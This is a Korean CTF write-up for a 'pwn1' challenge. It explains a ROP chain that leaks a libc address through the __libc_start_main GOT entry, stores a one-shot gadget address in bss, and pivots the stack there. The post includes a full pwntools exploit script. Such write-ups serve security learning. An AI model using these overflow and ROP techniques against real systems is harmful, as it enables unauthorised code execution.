이 문제는 특이하게 모든 함수가 syscall로 구현되어 있다.

첨에 당황했는데 다른 rop처럼 똑같이 오버플로우로 rip를 syscall로 조작해서 libc leak을 하면 된다.

하지만 got 영역을 가진 함수가 없어서 고민을 하다가 pwntool로 이 함수 저함수 찾다가 __libc_start_main이 got가 있음을 알게 되었다.

그래서 libc leak해서 oneshot 가젯의 주소를 구했고, 그 다음 oneshot가젯을 bss에 저장했다.

syscall로 read해서 bss에 저장하려고 했으나 이 문제를 보면 login()에서 write, read를 다 진행해주기 때문에 rip를 이 쪽으로 돌려줘서 read할 때 oneshot 가젯의 주소를 넣어주었다.(첫 번째 read와 두 번째 read에 oneshot을 넣어줬다. 왜냐면 check()함수에서 두 부분이 같은지 확인하기 때문.) 그리고 이 함수에서 read하는 버퍼는 bss영역이기 때문에 저장되는 주소는 바로 알 수 있다.



그리고 pop_rsp가젯으로 bss 영역의 위치를 rsp로 pop시킨 후 마지막에 실행시키도록 하는 가젯을 이용했다.

from pwn import *

p = process("./pwn1")
elf = ELF("./pwn1")

pop_rdi = 0x00400683
pop_rsi_r15 = 0x400681
pop_rsp_r13_r14_r15 = 0x40067d
start = elf.got['__libc_start_main']
write_syscall = 0x400526
bss = elf.bss()

payload = ""
payload += "A"*40
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi_r15)
payload += p64(start)
payload += p64(0)
payload += p64(write_syscall)

payload += p64(pop_rsp_r13_r14_r15)
payload += p64(bss+12)
payload += p64(0)
payload += p64(0)
payload += p64(bss+12)

print p.recv()
p.sendline("AAAA")
print hexdump(p.recv())
p.sendline("AAAA")
print hexdump(p.recv())
#pause()
p.sendline(payload)
__libc_start_main = u64(p.recv(8))
log.info("__libc_start_main = {}".format(hex(__libc_start_main)))
oneshot = __libc_start_main +  0x24b2a
log.info("oneshot = {}".format(hex(oneshot)))
print p.recv()
p.sendline(p64(oneshot))
print p.recv()
p.sendline(p64(oneshot))
p.interactive()

'CTF' 카테고리의 다른 글

defcon2019 speedrun  (0) 2019.05.28
hackzone 2019 pwn2 (Syscall)  (0) 2019.05.09
BTH_CTF 2019  (0) 2019.05.01
plaid 2019 can you guess me?  (0) 2019.04.15
codegate2019 aeiou  (0) 2019.02.23

+ Recent posts